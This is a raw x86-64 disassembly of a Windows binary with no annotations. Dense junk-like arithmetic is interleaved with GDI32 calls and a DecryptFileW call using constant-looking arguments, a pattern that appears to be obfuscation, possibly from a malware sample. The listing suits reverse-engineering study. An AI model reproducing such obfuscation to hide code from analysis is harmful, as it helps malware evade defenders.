mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movzx eax, byte [0x14018acda]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
shl eax, cl
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3d98]
mov word [rcx], ax
mov dword [rsp + 0x40], 0xbc
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0xf8
mov dword [rsp + 0x28], 0xfc
mov dword [rsp + 0x20], 0x88
mov r9d, 1
mov r8d, 0xa6
mov edx, 0xa
mov rcx, qword [rsp + 0x3d38]
call qword [sym.imp.GDI32.dll_Arc]
mov dword [rsp + 0x2aac], eax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
or eax, ecx
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2f10]
sar rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
add eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x3d08]
mov rcx, qword [rsp + 0x2b08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bd8]
mov rcx, qword [rsp + 0x3dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [0x14018bdd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc5c], ax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
sar eax, cl
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
lea rdx, [rsp + 0x1fa0]
mov rcx, qword [rsp + 0x3ce0]
call qword [sym.imp.GDI32.dll_GetFontUnicodeRanges]
mov dword [rsp + 0x2010], eax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x3d08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
or eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc6c]
shl eax, cl
mov rcx, qword [rsp + 0x3cf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
xor eax, ecx
mov word [rsp + 0xc60], ax
jmp 0x1400f1a3d
mov rax, qword [rsp + 0x3d80]
mov rcx, qword [rsp + 0x3c98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ac]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1ab], al
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [rsp + 0x1ff4]
shl eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f68]
movzx ecx, al
mov eax, dword [rsp + 0x1f8c]
sar eax, cl
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
jmp 0x1400f1a3d
movzx eax, byte [0x14018acda]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x2f10]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov dword [rsp + 0x40], 0x94
mov dword [rsp + 0x38], 0x34
mov dword [rsp + 0x30], 0xba
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0x5e
mov r9d, 0x5e
mov r8d, 0x5e
mov edx, 0x83
mov rcx, qword [rsp + 0x3d38]
call qword [sym.imp.GDI32.dll_Chord]
mov dword [rsp + 0x1f88], eax
jmp 0x1400f1a3d
mov eax, dword [rsp + 0x1fe4]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x156f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x156f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3c98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x2f10]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
mov edx, 0x73
mov rcx, qword [rsp + 0x3c00]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x2004], eax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov eax, dword [0x14018bdc0]
mov dword [rsp + 0x1fd8], eax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ad]
and eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x3bc0]
mov qword [rsp + 0x156f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x156f8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
jmp 0x1400f2094
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
sar eax, cl
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x2ac8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
movsx eax, byte [0x14018acd9]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x15700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15700]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
lea r9, [rsp + 0x2fa8]
mov r8d, 0x9f
mov edx, 0x88
mov rcx, qword [rsp + 0x3ab0]
call qword [sym.imp.GDI32.dll_GetCharABCWidthsFloatW]
mov dword [rsp + 0x2ab0], eax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b28]
mov qword [rsp + 0x15708], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15708]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
jmp 0x1400f2094
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1fd8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c58], eax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b28]
mov qword [rsp + 0x15710], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15710]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
xor eax, ecx
mov word [rsp + 0xc5c], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
shl eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x1400f2094
lea r9, [rsp + 0x3a68]
mov r8d, 7
mov edx, 0x51
mov rcx, qword [rsp + 0x15718]
call qword [sym.imp.GDI32.dll_SetBitmapDimensionEx]
mov dword [rsp + 0x1f60], eax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
and eax, ecx
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b88]
mov qword [rsp + 0x15720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15720]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2fa8], rax
mov eax, dword [rsp + 0x1fd8]
mov ecx, dword [rsp + 0x1f90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
jmp 0x1400f2094
movsx eax, byte [0x14018acd9]
movsx ecx, byte [rsp + 0x99]
add eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov dword [rsp + 0x1fc0], eax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x1400f2094
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x3b88]
mov qword [rsp + 0x15728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15728]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [0x14018acd9]
or eax, ecx
mov byte [rsp + 0x1ab], al
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [0x14018bdc0]
shr eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
sub eax, ecx
mov word [rsp + 0xc60], ax
jmp 0x1400f2094
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x2ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov dword [rsp + 0x20], 0xd5
mov r9d, 0x3d
mov r8, qword [rsp + 0x3d78]
mov rdx, qword [rsp + 0x15730]
mov rcx, qword [rsp + 0x3af0]
call qword [sym.imp.GDI32.dll_FrameRgn]
mov dword [rsp + 0x1f60], eax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [0x14018bdc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xc58]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x1400f2568
movsx eax, word [rsp + 0xc68]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
xor eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x3b60]
mov qword [rsp + 0x15738], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15738]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
jmp 0x1400f2568
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1c58]
mov dword [rsp + 0x1fd8], eax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
jmp 0x1400f2568
movsx eax, word [0x14018bdc4]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x1400f2568
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1fd0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f8c], eax
mov rax, qword [rsp + 0x3a40]
mov rcx, qword [rsp + 0x3bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
and eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov r8d, 4
lea rdx, [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3a30]
call qword [sym.imp.GDI32.dll_GetBoundsRect]
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2fa8], rax
mov eax, dword [rsp + 0x1fd8]
mov ecx, dword [rsp + 0x1c58]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc68]
shl eax, cl
mov word [rsp + 0xc64], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
sar eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x34f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
jmp 0x1400f2568
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [rsp + 0xc58]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a68]
mov rcx, qword [rsp + 0x3bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b88]
mov qword [rsp + 0x15740], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15740]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
or eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rcx, qword [rsp + 0x15748]
call qword [sym.imp.GDI32.dll_RemoveFontMemResourceEx]
mov dword [rsp + 0x1f60], eax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov dword [rsp + 0x1fa0], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3b80]
mov ecx, dword [rsp + 0x1fd8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [rsp + 0xc64]
shl eax, cl
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
or eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x2ac8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
jmp 0x1400f26ac
movzx eax, byte [0x14018acda]
cmp eax, 0xf9
jle 0x1400f26ac
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov edx, 0x65
mov rcx, qword [rsp + 0x3ac0]
call qword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [rsp + 0x1fd8], eax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
and eax, 0x132
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
or eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1f90]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14018bdc0], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f8c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2fa8], rax
jmp 0x1400f2d34
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
lea r9, [rsp + 0x3b88]
mov r8d, 0xf
mov edx, 0xb2
mov rcx, qword [rsp + 0x3b48]
call qword [sym.imp.GDI32.dll_SetBrushOrgEx]
mov dword [rsp + 0x1f60], eax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1f7c], eax
jmp 0x1400f2d34
movsx eax, byte [0x14018acd9]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2fa8]
shr rax, cl
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x34f8], rax
movzx eax, word [rsp + 0xc60]
sub eax, 0x567
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f8c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
sar eax, cl
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov eax, dword [rsp + 0x1f7c]
mov ecx, dword [rsp + 0x1c58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2fa8], rax
jmp 0x1400f2d34
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
or eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
shl eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
xor eax, 0xc46
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x15750], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15750]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
